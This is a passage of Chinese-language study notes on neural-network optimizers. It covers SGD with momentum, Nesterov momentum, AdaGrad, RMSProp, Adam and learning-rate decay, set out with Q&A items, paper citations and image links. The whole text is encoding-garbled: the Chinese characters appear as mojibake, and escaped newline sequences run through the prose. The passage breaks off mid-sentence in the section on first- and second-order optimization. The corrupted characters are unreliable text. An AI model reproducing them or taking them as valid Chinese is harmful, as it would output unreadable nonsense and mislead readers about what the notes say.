Q๏ผšไฝฟ็”จ GD ๏ผˆไนŸๅฐฑๆ˜ฏ full batch gradient descent๏ผ‰็š„่ฏ๏ผŒๅฏไปฅ่งฃๅ†ณไธŠ่ฟฐไธ‰ๅคง้—ฎ้ข˜ไนˆ๏ผŸ\n - ไธไผšใ€‚ๆœ‰ๆ—ถๅ€™็ฝ‘็ปœๆœฌ่บซๅฐฑๅญ˜ๅœจๆ˜Ž็กฎ็š„้šๆœบๆ€ง๏ผŒๆ‰€ไปฅไปๆ˜ฏไธ€ไธช้—ฎ้ข˜๏ผ›้ž็‚น้—ฎ้ข˜ไนŸไปไผšๅญ˜ๅœจใ€‚\n\n\n\n### SGD + Momentum\n\nไฝœไธบๅฏนๆฏ”๏ผŒๅ…ˆ่ดดๅ‡บ SGD๏ผš\n\n![](https://i.loli.net/2018/08/27/5b840e0b85137.png)\n\n็„ถๅŽ๏ผŒไฝœไธบๅฏนๆฏ”๏ผŒ่ดดๅ‡บ SGD+Momentum ็š„ไธค็ง็ญ‰ไปท่กจ็คบ๏ผš\n\n![](https://i.loli.net/2018/08/27/5b840e411ba53.png)\n\nๅœจ SGD+Momentum ็ฎ—ๆณ•ไธญ๏ผŒ$v, \\rho$ ๅˆ†ๅˆซไฝœไธบโ€œ้€Ÿๅบฆโ€ๅ’Œโ€œๆ‘ฉๆ“ฆ็ณปๆ•ฐโ€ไธ€่ˆฌ็š„ๅญ˜ๅœจ๏ผŒๅ…ถไธญ $\\rho$ ๆ˜ฏไธ€ไธชๆ–ฐ็š„่ถ…ๅ‚ๆ•ฐใ€‚\n\nไน‹ๅ‰ๆๅˆฐ่ฟ‡๏ผŒSGDๆ–นๆณ•็š„ไธ€ไธช็ผบ็‚นๆ˜ฏๅ…ถๆ›ดๆ–ฐๆ–นๅ‘ๅฎŒๅ…จไพ่ต–ไบŽๅฝ“ๅ‰batch่ฎก็ฎ—ๅ‡บ็š„ๆขฏๅบฆ๏ผŒๅ› ่€Œๅๅˆ†ไธ็จณๅฎšใ€‚Momentum็ฎ—ๆณ•ๅ€Ÿ็”จไบ†็‰ฉ็†ไธญ็š„ๅŠจ้‡ๆฆ‚ๅฟต๏ผŒๅฎƒๆจกๆ‹Ÿ็š„ๆ˜ฏ็‰ฉไฝ“่ฟๅŠจๆ—ถ็š„ๆƒฏๆ€ง๏ผŒๅณๆ›ดๆ–ฐ็š„ๆ—ถๅ€™ๅœจไธ€ๅฎš็จ‹ๅบฆไธŠไฟ็•™ไน‹ๅ‰ๆ›ดๆ–ฐ็š„ๆ–นๅ‘๏ผŒๅŒๆ—ถๅˆฉ็”จๅฝ“ๅ‰batch็š„ๆขฏๅบฆๅพฎ่ฐƒๆœ€็ปˆ็š„ๆ›ดๆ–ฐๆ–นๅ‘ใ€‚่ฟ™ๆ ทไธ€ๆฅ๏ผŒๅฏไปฅๅœจไธ€ๅฎš็จ‹ๅบฆไธŠๅขžๅŠ ็จณๅฎšๆ€ง๏ผŒไปŽ่€Œๅญฆไน ๅœฐๆ›ดๅฟซ๏ผŒๅนถไธ”่ฟ˜ๆœ‰ไธ€ๅฎšๆ‘†่„ฑๅฑ€้ƒจๆœ€ไผ˜็š„่ƒฝๅŠ›ใ€‚\n\n- Build up \"velocity\" as a running mean of gradients๏ผŒๆ˜ฏไธ€ไธชๆœ€่ฟ‘ๆขฏๅบฆๅŠ ๆƒๅนณๅ‡็š„ๅนณๆป‘็งปๅŠจ๏ผŒไผš้š็€ๆœ€่ฟ‘็š„ๆขฏๅบฆๆƒ้‡่ถŠๆฅ่ถŠๅคงใ€‚\n- $\\rho$ gives \"friction\" ; typically $\\rho=0.9 \\text{ or } 0.99$\n- ๅฏไปฅ่พƒๅฅฝ็š„่งฃๅ†ณๅฑ€้ƒจๆœ€ๅฐๅ’Œ้ž็‚น็š„้—ฎ้ข˜๏ผ›ๆ•ˆๆžœ่กจ็Žฐๆ˜Žๆ˜พๆฏ” SGD ๆ›ด่ฆๅฅฝใ€‚\n\nๆญคๅค„ๆœ‰ paper ไธ€็ฏ‡๏ผšSutskever et al, โ€œOn the importance of initialization and momentum in deep learningโ€, ICML 2013\n\n- Q๏ผšโ€œ้€Ÿๅบฆโ€็š„ๅˆๅง‹ๅ€ผไธ€่ˆฌๆ€Žไนˆๅ–๏ผŸ\n - ๅŸบๆœฌไธŠ้ƒฝๆ˜ฏๅˆๅง‹ๅŒ–ๅˆฐ 0๏ผŒๅฎƒไธ็ฎ—ๆ˜ฏ่ถ…ๅ‚ๆ•ฐใ€‚\n\n\n\n\n\n### Nesterov Momentum\n\n่ฟ™ๆ˜ฏๅœจ SGD+Momentum ็š„ๅŸบ็ก€ไธŠไธ€ไธช่ฝปๅพฎๅ˜ๅŒ–๏ผŒๅซๅš Nesterov accelerated gradient ๆˆ–่€… Nesterov momentumใ€‚\n\nๆญคๅค„ๆœ‰ paper 2 ็ฏ‡๏ผšNesterov, โ€œA method of solving a convex programming problem with convergence rate O(1/k^2)โ€, 1983 ๅ’Œ Nesterov, โ€œIntroductory lectures on convex optimization: a basic courseโ€, 2004 ใ€‚\n\n![](https://i.loli.net/2018/08/28/5b854c2324689.png)\n\nๆขฏๅบฆๅŠจ้‡ๆ›ดๆ–ฐ้ƒฝๆ˜ฏๅœจ็บข่‰ฒ็‚นๅค„๏ผŒๆŠŠๅŽ†ๅฒๆขฏๅบฆไฟกๆฏ็ปผๅˆ่€Œๆˆ็š„โ€œ้€Ÿๅบฆโ€ๅœจๅฝ“ๅ‰็‚นไธŽๆขฏๅบฆ็ป“ๅˆ๏ผŒ็„ถๅŽๅšๅ‡บๅฎž้™…็š„ๆ›ดๆ–ฐ่ฟๅŠจใ€‚่€Œ Nesterov ๅŠ ้€Ÿๆขฏๅบฆไธ‹้™ๆ˜ฏๅ…ˆๅœจๅฝ“ๅ‰็š„ step ๅค„็”จๅŽ†ๅฒๆขฏๅบฆไฟกๆฏ็ปผๅˆ่€Œๆˆ็š„โ€œ้€Ÿๅบฆโ€่ฟ›่กŒไธ€ๆฌกๆจกๆ‹Ÿๆ›ดๆ–ฐ่ฟๅŠจ๏ผŒ็”จ่ฟๅŠจๅŽ็š„ๆขฏๅบฆๅ†ไธŽไน‹ๅ‰็š„โ€œ้€Ÿๅบฆโ€็ป“ๅˆๅšๅ‡บๅฎž้™…ๅฝ“ๅ‰ step ๅค„็š„ๆขฏๅบฆๆ›ดๆ–ฐ่ฟๅŠจใ€‚\n\nๅ…ฌๅผๅฐฑๆ˜ฏ่ฟ™ๆ ท็š„๏ผš\n\n![](https://i.loli.net/2018/08/28/5b854ea097bca.png)\n\nไปŽๅŽไธ€ไธช็ป่ฟ‡ๆขๅ…ƒ็š„ๆ–ฐๅ…ฌๅผๆฅ็œ‹๏ผŒๆˆ‘ไปฌๅฏไปฅ่ฏด Nesterov ๅŠจ้‡ๅŒ…ๅซไบ†ๅฝ“ๅ‰้€Ÿๅบฆๅ‘้‡ๅ’Œๅ…ˆๅ‰้€Ÿๅบฆๅ‘้‡็š„่ฏฏๅทฎไฟฎๆญฃใ€‚\n\n่€Œไธ”๏ผŒไฝ ๅฏไปฅ็œ‹ๅˆฐๅธฆๅŠจ้‡็š„ SGD ๅ’Œ Nesternov ๅŠจ้‡็š„ไธ€ไธชไธๅŒๅฐฑๆ˜ฏ๏ผš็”ฑไบŽ Nesternov ๆœ‰ๆ กๆญฃๅ› ๅญ็š„ๅญ˜ๅœจ๏ผŒไธŽๅธธ่ง„ๆ–นๆณ•็›ธๆฏ”ๅฎƒไธไผš้‚ฃไนˆๅ‰ง็ƒˆ็š„่ถŠ่ฟ‡ๅฑ€้ƒจๆžๅฐๅ€ผ็‚นใ€‚\n\nๅฐๅ“ฅๅผ€ๅง‹ไบ†่‡ช้—ฎ่‡ช็ญ”๏ผš\n\n- Q๏ผšๅฎž้™…ๆƒ…ๅ†ตๆ˜ฏๅฆ‚ๆžœไฝ ็š„ๅฑ€้ƒจๆžๅฐ็‚นๅœจไธ€ไธช้žๅธธ็ช„็š„็›†ๅœฐ้‡Œๅ‘ข๏ผŸไธŠ่ฟฐ็š„ไธค็งไผ˜ๅŒ–ๆ–นๆณ•ๅธฆๆฅ็š„โ€œ้€Ÿๅบฆโ€่ƒฝๅฆ่ฎฉไฝ ่ถŠ่ฟ‡่ฟ™ไธชๅฑ€้ƒจๆžๅฐ็‚นๅ‘ข๏ผŸ\n\n - ๆœ€่ฟ‘่ฟ™ๆ–น้ข็š„็†่ฎบ็ ”็ฉถๆœ‰ไธ€ไบ›ใ€‚ไฝ†ไบ‹ๅฎžไธŠ่ฟ™ไบ›้žๅธธๆž็ซฏ็š„ๅฑ€้ƒจๆžๅ€ผ๏ผˆๆ‰€่ฐ“็š„ๅ็‚น๏ผ‰ๆˆ‘ไปฌ็š„็ฎ—ๆณ•็”š่‡ณไธไผš็ป่ฟ‡่ฟ™ไบ›็‚นใ€‚ๅ› ไธบๅฎž้™…ไธŠๅฆ‚ๆžœไฝ ้‡ๅˆฐไบ†ไธ€ไธช้žๅธธๆž็ซฏ็š„ๆžๅ€ผ็‚น๏ผŒ้‚ฃไนˆไบ‹ๅฎžไธŠไฝ ็š„่ฎญ็ปƒๅพˆๆœ‰ๅฏ่ƒฝๅทฒ็ป่ฟ‡ๆ‹Ÿๅˆไบ†ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่ƒฝๅคŸๆ‰ฉๅคงๆˆ‘ไปฌ็š„่ฎญ็ปƒๆ•ฐๆฎ้›†ๅˆฐไธคๅ€๏ผŒ้‚ฃไนˆๆ•ดไธชไผ˜ๅŒ–ๅ‡ฝๆ•ฐ็š„ๅฝข็Šถ้ƒฝไผšๆ”นๅ˜๏ผŒไปฅ่‡ณไบŽ่ฟ™ไธช้žๅธธๆž็ซฏ็š„ๆžๅ€ผ็‚นไผšๆถˆๅคฑ๏ผŒๅ‰ๆๆ˜ฏๅฆ‚ๆžœๆˆ‘ไปฌๆ”ถ้›†ๆ›ดๅคš็š„่ฎญ็ปƒๆ•ฐๆฎ็š„่ฏ๏ผŒๆˆ‘ไปฌๅฏไปฅๅพ—ๅˆฐ็š„ไธ€ไธช็›ด่ง‰ๅˆคๆ–ญๅฐฑๆ˜ฏๆˆ‘ไปฌๆ„ฟๆ„ๅŽป้ ่ฟ‘ไธ€ไธช็›ธๅฏนๅนณ็ผ“็š„ๆžๅ€ผ็‚น๏ผŒๅ› ไธบ่ฟ™ๆ ท็š„ๆžๅ€ผ็‚นๅพ€ๅพ€้š็€่ฎญ็ปƒๆ•ฐๆฎ็š„ๅ˜ๅŒ–ๆœ‰ๆ›ดๅฅฝ็š„้ฒๆฃ’ๆ€งใ€‚่ฟ™ๆ ท็š„ๅนณ็ผ“ๆžๅ€ผ็‚นๅพ€ๅพ€้’ˆๅฏนๆต‹่ฏ•ๆ•ฐๆฎๆœ‰ๆ›ดๅฅฝ็š„ๆณ›ๅŒ–่ƒฝๅŠ›ใ€‚\n\n ๆŸ็งๆ„ไน‰ไธŠๆฅ่ฏด๏ผŒ่ทณ่ฟ‡่ฟ™ไบ›้žๅธธๅฐ–้”็š„ๆžๅ€ผ็‚น๏ผŒ่ฟ™ๅฎž้™…ไธŠๆ˜ฏๅธฆๅŠจ้‡็š„ SGD ็š„ไธ€ไธช็‰นๆ€ง๏ผŒ่€Œไธๆ˜ฏไธ€ไธช bugใ€‚\n\n\n\n### AdaGrad\n\nAdaGrad ็š„ๆ ธๅฟƒๆ€ๆƒณๆ˜ฏ๏ผšๅœจไผ˜ๅŒ–็š„่ฟ‡็จ‹ไธญ๏ผŒ้œ€่ฆไฟๆŒไธ€ไธชๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญ็š„ๆฏไธ€้ƒจๆขฏๅบฆ็š„ๅนณๆ–นๅ’Œ็š„ๆŒ็ปญไผฐ่ฎกใ€‚\n\nไธŽ้€Ÿๅบฆ้กนไธๅŒ็š„ๆ˜ฏ๏ผŒ็Žฐๅœจๆˆ‘ไปฌๆœ‰ไบ†ไธ€ไธชๆขฏๅบฆๅนณๆ–น้กนใ€‚ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒๆˆ‘ไปฌไผšไธ€็›ด็ดฏๅŠ ๅฝ“ๅ‰ๆขฏๅบฆ็š„ๅนณๆ–นๅˆฐ่ฟ™ไธชๆขฏๅบฆๅนณๆ–น้กน๏ผˆๅŽ†ๅฒไธŠๆ‰€ๆœ‰ๅ‚ๆ•ฐ็ปดๅบฆ็š„ๆขฏๅบฆๅนณๆ–นๅ’Œ๏ผ‰ใ€‚ๅฝ“ๆˆ‘ไปฌๅœจๆ›ดๆ–ฐๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐๅ‘้‡ๆ—ถ๏ผŒๆˆ‘ไปฌไผš้™คไปฅ่ฟ™ไธชๆขฏๅบฆๅนณๆ–น้กนใ€‚\n\n![](https://i.loli.net/2018/08/28/5b8554e338f33.png)\n\n- Q๏ผšๅฏนไบŽ high condition number ๆ—ถ๏ผˆๅฆ‚ไธŠๅ›พ๏ผ‰๏ผŒAdaGrad ๆ˜ฏๅฆ‚ไฝ•็ผ“่งฃ้—ฎ้ข˜็š„ๅ‘ข๏ผŸ\n - ่ฟ™ไธชๆ€ๆƒณๅฐฑๆ˜ฏๅฆ‚ๆžœๆˆ‘ไปฌๆœ‰ไธคไธชๅๆ ‡่ฝด๏ผŒๆฒฟๅ…ถไธญไธ€ไธช่ฝดๆˆ‘ไปฌๆœ‰ๅพˆ้ซ˜็š„ๆขฏๅบฆ๏ผŒ่€Œๅฆไธ€ไธช่ฝดๆ–นๅ‘ๅดๆœ‰ๅพˆๅฐ็š„ๆขฏๅบฆ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌ้š็€ๆˆ‘ไปฌ็ดฏๅŠ ๅฐๆขฏๅบฆ็š„ๅนณๆ–น๏ผŒๆˆ‘ไปฌไผšๅœจๆœ€ๅŽๆ›ดๆ–ฐๅ‚ๆ•ฐๅ‘้‡ๆ—ถ้™คไปฅไธ€ไธชๅพˆๅฐ็š„ๆ•ฐๅญ—๏ผŒไปŽ่€ŒๅŠ ้€Ÿไบ†ๅœจๅฐๆขฏๅบฆๅฏนๅบ”็š„ไธ€ไธช็ปดๅบฆไธŠ็š„ๅญฆไน ้€Ÿๅบฆใ€‚็„ถๅŽๅœจๅฆไธ€ไธช็ปดๅบฆๆ–นๅ‘ไธŠ๏ผŒ็”ฑไบŽๆขฏๅบฆๅ˜ๅพ—็‰นๅˆซๅคง๏ผŒๆˆ‘ไปฌไผš้™คไปฅไธ€ไธช้žๅธธๅคง็š„ๆ•ฐ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌไผš้™ไฝŽ่ฟ™ไธช็ปดๅบฆๆ–นๅ‘๏ผˆZigzaging ๆ–นๅ‘๏ผ‰ไธŠ็š„่ฎญ็ปƒ้€Ÿๅบฆใ€‚\n- Q๏ผšๅฝ“ t๏ผˆๆ—ถ้—ด๏ผ‰่ถŠๆฅ่ถŠๅคง็š„ๆ—ถๅ€™๏ผŒๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญไฝฟ็”จ AdaGrad ไผšๅ‘็”Ÿไป€ไนˆ้—ฎ้ข˜๏ผŸ\n - ๆญฅ้•ฟไผšๅ˜ๅพ—่ถŠๆฅ่ถŠๅฐใ€‚ๅœจๅญฆไน ็›ฎๆ ‡ๆ˜ฏไธ€ไธชๅ‡ธๅ‡ฝๆ•ฐ็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆœ‰็†่ฎบ่ฏๆ˜Ž่ฟ™ไธชAdaGradไผ˜ๅŒ–็ญ–็•ฅๆ•ˆๆžœๅพˆๅฅฝใ€‚ๅ› ไธบๅฝ“ไฝ ๆŽฅ่ฟ‘ๆžๅ€ผ็‚นๆ—ถ๏ผŒไฝ ไผš้€ๆธ็š„ๆ…ขไธ‹ๆฅๆœ€ๅŽ่พพๅˆฐๆ”ถๆ•›ใ€‚่ฟ™็‚นๆ˜ฏAdaGradๅœจๅ‡ธๅ‡ฝๆ•ฐๆƒ…ๅ†ตไธ‹็š„ไธ€ไธชๅพˆๅฅฝ็š„็‰นๆ€งใ€‚ไฝ†ๆ˜ฏๅœจ้žๅ‡ธๅ‡ฝๆ•ฐ็š„ๆƒ…ๅ†ตไธ‹๏ผŒไบ‹ๆƒ…ไผšๅ˜ๅพ—ๅคๆ‚๏ผŒๅ› ไธบๅฝ“ไฝ ๅˆฐ่พพไธ€ไธชๅฑ€้ƒจ็š„ๆžๅ€ผ็‚นๆ—ถ๏ผŒไฝฟ็”จ AdaGrad ไผš่ฎฉไฝ ๅœจ่ฟ™้‡Œ่ขซๅ›ฐไฝ๏ผŒไปŽ่€Œไฝฟๅพ—่ฎญ็ปƒ่ฟ‡็จ‹ๆ— ๆณ•ๅ†่ฟ›่กŒไธ‹ๅŽปใ€‚\n - ๆ‰€ไปฅ๏ผŒๅฏน AdaGrad ๆœ‰ไธ€ไธชๅ˜ไฝ“ๅซๅš RMSPropใ€‚\n\n\n\n### RMSProp\n\nๅœจ่ฟ™ไธช็ฎ—ๆณ•ไธญ๏ผŒๆˆ‘ไปฌไพ็„ถ่ฎก็ฎ—ๆขฏๅบฆ็š„ๅนณๆ–น๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌๅนถไธๆ˜ฏไป…ไป…็ฎ€ๅ•็š„ๅœจ่ฎญ็ปƒไธญ็ดฏๅŠ ๆขฏๅบฆๅนณๆ–น๏ผŒ่€Œๆ˜ฏๆˆ‘ไปฌไผš่ฎฉๅนณๆ–นๆขฏๅบฆๆŒ‰็…งไธ€ๅฎšๆฏ”็Ž‡ไธ‹้™ใ€‚\n\n![](https://i.loli.net/2018/08/28/5b855a040b834.png)\n\nๆญคๅค„ๅผ•็”จ็š„ๆ˜ฏTieleman and Hinton, 2012ใ€‚\n\nๅฎƒ็œ‹่ตทๆฅๅฐฑๅ’ŒๅŠจ้‡ไผ˜ๅŒ–ๆณ•ๅพˆๅƒ๏ผŒ้™คไบ†ๆˆ‘ไปฌๆ˜ฏ็ป™ๆขฏๅบฆ็š„ๅนณๆ–นๅŠ ไธŠๅŠจ้‡๏ผŒ่€Œไธๆ˜ฏ็ป™ๆขฏๅบฆๆœฌ่บซใ€‚ \n\nๆ‰€ไปฅ่ฏดใ€‚ใ€‚ๆ€ปไน‹ๅ•ฆใ€‚ใ€‚ใ€‚ๆˆ‘ไปฌไธๅ€พๅ‘ไบŽไฝฟ็”จ AdaGradใ€‚ใ€‚ใ€‚\n\n\n\n### Adam\n\n![image-20180829203534507](assets/image-20180829203534507.png)\n\n็”จ Adam ไผๅ›พๅฐ†ไธŠ้ขไผ˜ๅŒ–็ฎ—ๆณ•็š„ๆœ‰็‚น็ปผๅˆ่ตทๆฅ๏ผŒๆˆ‘ไปฌ่ฎฉ็ฌฌไธ€ๅŠจ้‡็š„ไผฐ่ฎกๅ€ผ็ญ‰ไบŽๆˆ‘ไปฌๆขฏๅบฆ็š„ๅŠ ๆƒๅ’Œ๏ผŒ่ฎฉ็ฌฌไบŒๅŠจ้‡็š„ๅŠจๆ€ไผฐ่ฎกๅ€ผ๏ผŒๅƒ AdaGrad ๅ’Œ RMSProp ไธ€ๆ ท๏ผŒๅฐฑๆ˜ฏไธ€ไธชๆขฏๅบฆๅนณๆ–น็š„ๅŠจๆ€่ฟ‘ไผผๅ€ผใ€‚\n\nๅ‡ๅฆ‚ไธ็”จ Bias correction๏ผˆๅ็ฝฎๆ กๆญฃ้กน๏ผ‰๏ผŒ็ป่ฟ‡็ฌฌไธ€ๆฌก่ฟญไปฃ็š„็ฌฌไธ€ไบŒ็š„ๅŠจ้‡ๅœจๆœ€ๅŽ็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐๅผๅญไธญ๏ผŒๅพˆๅฏ่ƒฝไผšๅˆ†ๆฏๆŽฅ่ฟ‘0๏ผŒ่€Œไฝฟๅพ—ๆ›ดๆ–ฐๆญฅ้•ฟๅคชๅคงใ€‚ๅ› ไธบๆˆ‘ไปฌๅ›žๅŽปๅˆๅง‹ๅŠจ้‡้ƒฝไธบ0๏ผŒไฝ†ๆ˜ฏ `beta1` ๅ’Œ `beta2` ไธบ0.9ๆˆ–0.99ใ€‚ๆ‰€ไปฅๆˆ‘ไปฌๆž„้€ ไบ†็ฌฌไธ€ๅ’Œ็ฌฌไบŒๅŠจ้‡็š„ๆ— ๅไผฐ่ฎก๏ผŒ้€š่ฟ‡ไฝฟ็”จๅฝ“ๅ‰ๆ—ถ้—ดๆญฅ `t` ใ€‚็Žฐๅœจๆˆ‘ไปฌๅฎž้™…ไธŠๅœจไฝฟ็”จๆ— ๅไผฐ่ฎกๆฅๅšๆฏไธ€้ƒจๆ›ดๆ–ฐ๏ผŒ่€Œไธๆ˜ฏๅˆๅง‹็š„็ฌฌไธ€ๅ’Œ็ฌฌไบŒๅŠจ้‡็š„ไผฐ่ฎกๅ€ผใ€‚๏ผˆ่™ฝ็„ถๆ˜ฏๆœ‰ๅฏ่ƒฝ็ฌฌไธ€ๅŠจ้‡ๅ’Œ็ฌฌไบŒๅŠจ้‡้ƒฝๆฏ”่พƒๅฐ๏ผŒไฝฟๅพ—็ฌฌไธ€ๆญฅๅ‚ๆ•ฐๆ›ดๆ–ฐ็š„ๆญฅ้•ฟๅฏไปฅๆŠตๆถˆๆŽ‰ๅพˆๅคš๏ผ‰\n\n๏ผˆๅผๅญไธญ็š„ `1e-7` ๅฎž้™…ไธŠๅœจ AdaGrad ๆˆ– RMSProp ไธญไผšๅ‡บ็Žฐ๏ผŒไน‹ๆ‰€ๆœ‰ๆœ‰่ฟ™ไธ€้กนๆ˜ฏๅ› ไธบๆˆ‘ไปฌ้™คไปฅไธ€ไธชไธไผšไธบ0็š„ๆ•ฐใ€‚็†่ฎบไธŠ่ฎฒ๏ผŒ่ฟ™ไนŸๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผ‰\n\n\n\n\n\n- ็Žฐๅœจๆˆ‘ไปฌ็ปผๅˆไธ€ไธ‹ๅ‰้ข็š„ไผ˜ๅŒ–็ฎ—ๆณ•๏ผŒ็œ‹ๅœจไธ€ไธช้ž็‚น้™„่ฟ‘็š„่กŒไธบ๏ผš\n- ![\"adam gif optimization\"็š„ๅ›พ็‰‡ๆœ็ดข็ป“ๆžœ](https://media.giphy.com/media/SJVFO3IcVC0M0/giphy.gif)\n- ![\"adam gif optimization\"็š„ๅ›พ็‰‡ๆœ็ดข็ป“ๆžœ](http://ruder.io/content/images/2016/09/saddle_point_evaluation_optimizers.gif)\n\n\n\n\n\n\n\n### Learning rate\n\n- Q๏ผšไธŠ้ข่ฟ™ไนˆๅคšไผ˜ๅŒ–็ฎ—ๆณ•ไธญ๏ผŒ้ƒฝๆœ‰ๅญฆไน ็Ž‡่ฟ™ไธช่ถ…ๅ‚ๆ•ฐใ€‚้‚ฃไนˆ่ฏฅๅฆ‚ไฝ•่ฐƒๅฎƒๅ‘ข๏ผŸ\n\n - ![image-20180829211734018](assets/image-20180829211734018.png)\n\n - ่ฆๅญฆไน ็Ž‡่กฐๅ‡๏ผ\n\n - ๅœจ **ResNet** ้‚ฃ็ฏ‡ paper ไธญ๏ผŒไฝ ไผš็ปๅธธ็œ‹ๅˆฐๅƒไธ‹้ข่ฟ™ๆ ท็š„ๆ›ฒ็บฟ๏ผš\n\n ![image-20180829212117784](assets/image-20180829212117784.png)\n\n ๅฏไปฅ็œ‹ๅˆฐๆŸๅคฑๅ…ˆไธ€็›ดไธ‹้™๏ผŒ็„ถๅŽ้ชค้™๏ผŒๅ†็„ถๅŽๅนณๅฆ๏ผŒๆŽฅ็€ๅˆ้ชค้™ใ€‚่ฟ™ไบ›ๆ›ฒ็บฟ่ƒŒๅŽๅ…ถๅฎžๆ˜ฏไป–ไปฌๅœจ็”จๆญฅ้•ฟ่กฐๅ‡็š„ๅญฆไน ็Ž‡ใ€‚่ฟ™ไบ›ๆ›ฒ็บฟๅ‡บ็Žฐ้ชค้™็š„ๅœฐๆ–นๆ˜ฏๅœจ่ฟญไปฃๆ—ถๆŠŠๅญฆไน ็Ž‡ไน˜ไธŠไบ†ไธ€ไธชๅ› ๅญใ€‚**้™ไฝŽๅญฆไน ็Ž‡็š„ๆƒณๆณ•**ๆ˜ฏ่ฏด๏ผš<u>ๅ‡่ฎพๆจกๅž‹ๅทฒ็ปๆŽฅ่ฟ‘ไธ€ไธชๆฏ”่พƒไธ้”™็š„ๅ–ๅ€ผๅŒบๅŸŸ๏ผŒไฝ†ๆ˜ฏๆญคๆ—ถ็š„ๆขฏๅบฆๅทฒ็ปๅพˆๅฐไบ†๏ผŒไฟๆŒๅŽŸๆœ‰ๅญฆไน ้€Ÿ็Ž‡ๅช่ƒฝๅœจๆœ€ไผ˜็‚น้™„่ฟ‘ๆฅๅ›žๅพ˜ๅพŠ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ้™ไฝŽไบ†ๅญฆไน ็Ž‡๏ผŒ็›ฎๆ ‡ๅ‡ฝๆ•ฐไป็„ถ่ƒฝๅคŸ่ฟ›ไธ€ๆญฅ้™ไฝŽ๏ผŒๅณๅœจๆŸๅคฑๅ‡ฝๆ•ฐไธŠ่ฟ›ไธ€ๆญฅๅ–ๅพ—่ฟ›ๆญฅ</u>ใ€‚ๆœ‰ๆ—ถๅ€™่ฟ™ๅพˆๆœ‰็”จใ€‚\n\n - ๅธฆๅŠจ้‡ SGD ็š„ๅญฆไน ็Ž‡่กฐๅ‡ๅพˆๅธธ่ง๏ผŒไฝ†ๆ˜ฏๅƒ <u>Adam ็š„ไผ˜ๅŒ–็ฎ—ๆณ•ๅฐฑๅพˆๅฐ‘็”จๅญฆไน ็Ž‡็š„่กฐๅ‡</u>ใ€‚\n\n - ๅญฆไน ็Ž‡่กฐๅ‡ๆ˜ฏไธ€็งไบŒ้˜ถ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒ้€šๅธธไธๅบ”่ฏฅไธ€ๅผ€ๅง‹ๅฐฑ็”จไธŠใ€‚ๅญฆไน ็Ž‡่กฐๅ‡่ฟ™ๆ ท็š„ไบ‹ๆƒ…๏ผŒไธ€่ˆฌๅชๆœ‰้€šๅธธไฝ ๆƒณ่ฆ่ฎฉ็ฅž็ป็ฝ‘็ปœๅผ€ๅง‹ๅทฅไฝœ๏ผŒไฝ ๆƒณ่ฆๆŒ‘้€‰ไธ€ไธชไธๅธฆๅญฆไน ็Ž‡่กฐๅ‡็š„ไธ้”™็š„ๅญฆไน ็Ž‡ๆฅไฝœไธบๅผ€ๅง‹๏ผŒๅฐ่ฏ•ๅœจไบคๅ‰้ชŒ่ฏไธญๅŒๆ—ถ่ฐƒๅญฆไน ็Ž‡่กฐๅ‡ๅ’Œๅˆๅง‹ๅญฆไน ็Ž‡็ญ‰็ญ‰ๅ…ถไป–็š„ไบ‹ๆƒ…๏ผŒไฝ ไผšไธ€ๅคด้›พๆฐด็š„ใ€‚ๆ‰€ไปฅ๏ผŒ**่ฎพ็ฝฎๅญฆไน ็Ž‡่กฐๅ‡็š„ๆ–นๆณ•**ๆ˜ฏ๏ผš<u>ๅ…ˆๅฐ่ฏ•ไธ็”จ่กฐๅ‡๏ผŒ็œ‹็œ‹ไผšๅ‘็”Ÿไป€ไนˆ๏ผŒ็„ถๅŽไป”็ป†่ง‚ๅฏŸๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒ็œ‹็œ‹ไฝ ๅธŒๆœ›ๅœจๅ“ชไธชๅœฐๆ–นๅผ€ๅง‹่กฐๅ‡ใ€‚</u>\n\n\n\n\n\n### First-Order/Second-Order Optimization\n\nๆˆ‘ไปฌไน‹ๅ‰่ฐˆ่ฟ‡็š„ไผ˜ๅŒ–็ฎ—ๆณ•้ƒฝๆ˜ฏไธ€้˜ถไผ˜ๅŒ–็ฎ—ๆณ•๏ผŒๅฆ‚ไธ‹ๅ›พ๏ผš\n\n![image-20180829213438074](assets/image-20180829213438074.png)\n\nๆˆ‘ไปฌๅœจไธŠ้ข็š„ไธ€ไธช็‚นไธŠๆฑ‚ไธ€ไธชๆขฏๅบฆ๏ผŒๆˆ‘ไปฌ็”จๆขฏๅบฆไฟกๆฏๆฅ่ฎก็ฎ—่ฟ™ไธชๅ‡ฝๆ•ฐ้€‡็บฟๆ€ง้€ผ่ฟ‘๏ผŒ่ฟ™ไธช็›ธๅฝ“ไบŽๆ˜ฏๅฏนๆˆ‘ไปฌ็š„ๅ‡ฝๆ•ฐ่ฟ›่กŒ็š„ไธ€้˜ถๆณฐๅ‹’้€ผ่ฟ‘ใ€‚ไบŽๆ˜ฏ๏ผŒ็Žฐๅœจๆˆ‘ไปฌๅ‡่ฎพๆˆ‘ไปฌ็š„ไธ€้˜ถ้€ผ่ฟ‘ๅฐฑๆ˜ฏๅฎž้™…็š„ๅ‡ฝๆ•ฐ๏ผŒ็„ถๅŽๆˆ‘ไปฌๆƒณ่ฆ่ฟˆๅ‡บไธ€ๆญฅๆฅๆ‰พๅˆฐ้€ผ่ฟ‘็š„ๆœ€ๅฐๅ€ผใ€‚ไฝ†ๆ˜ฏ่ฟ™ไธช้€ผ่ฟ‘ๅœจ็จๅคง็š„ๅŒบ้—ดๅ†…ๅนถไธๆˆ็ซ‹๏ผŒๆ‰€ไปฅๆˆ‘ไปฌไธ่ƒฝๆœๅ“ชไธชๆ–นๅ‘ไธ€ไธ‹่ตฐๅคชๅคšใ€‚ไบ‹ๅฎžไธŠ๏ผŒ่ฟ™้‡Œ็š„ๆขฏๅบฆ็š„ๆƒณๆณ•็”จไธŠไบ†ๅ‡ฝๆ•ฐ็š„ไธ€้˜ถๅๅฏผ๏ผŒๅฎŒๅ…จๅ